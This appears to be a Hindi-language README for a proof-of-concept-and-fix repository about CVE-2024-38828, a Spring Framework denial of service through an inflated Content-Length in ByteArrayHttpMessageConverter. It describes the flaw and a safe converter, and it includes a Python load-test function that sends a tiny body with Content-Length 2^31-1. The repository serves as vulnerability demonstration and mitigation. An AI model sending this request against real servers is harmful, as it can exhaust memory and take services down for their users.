
CVE-2024-38828 के लिए PoC और फिक्स: ByteArrayHttpMessageConverter में Content-Length हेरफेर के माध्यम से Spring Framework DoS। इसमें लोड परीक्षण, मीट्रिक्स और एक कस्टम सुरक्षित कनवर्टर शामिल हैं।
यह परीक्षण Spring Framework में CVE-2024-38828 कमजोरी के साथ और उसके बिना व्यवहार/प्रतिक्रिया की जाँच करता है।
ByteArrayHttpMessageConverter में ByteArrayOutputStream में Content-Length अनुरोध हेडर के अनुसार मेमोरी आवंटित की जाती है,
जो वास्तविकता (0 बाइट के निकाय) से मेल नहीं खा सकती है। ऐसे अनुरोधों (DoS) में तीव्र वृद्धि होने पर, मेमोरी का अकुशल उपयोग होता है, नियमित GC सफाई होती है और एप्लिकेशन लैग करने लगता है। मैं दिखाऊंगा कि इसे कैसे लागू/ठीक किया जाए और मीट्रिक्स।

CVE-2024-38828 Spring Framework में Denial of Service (DoS) प्रकार की कमजोरी है, जो हमलावर को byte[] प्रकार के पैरामीटर वाले Spring MVC कंट्रोलर के माध्यम से सर्वर पर मेमोरी खत्म करने की अनुमति देती है।
HttpMessageConverter बनाया गया.
├── src/
│ └── main/
│ └── java/
│ └── me/
│ └── func/
│ └── demo/
│ ├── config/
│ │ └── WebConfig.java
│ ├── converter/
│ │ └── SafeByteArrayHttpMessageConverter.java
│ ├── controller/
│ │ └── DemoController.java
│ └── DemoApplication.java
├── tests/
│ ├── load_test.py
│ └── results/
│ ├── результаты_теста.png
│ └── метрики.json
└── README.md
def send_request(url):
try:
response = requests.post(
url,
data=b'0', # न्यूनतम पेलोड
headers={
'Content-Type': 'application/octet-stream',
'Content-Length': str(2**31 - 1) # अधिकतम आकार
}
)
return response.status_code, response.text
except Exception as e:
return f"त्रुटि: {str(e)}", None
pip install -r requirements.txt
python tests/load_test.py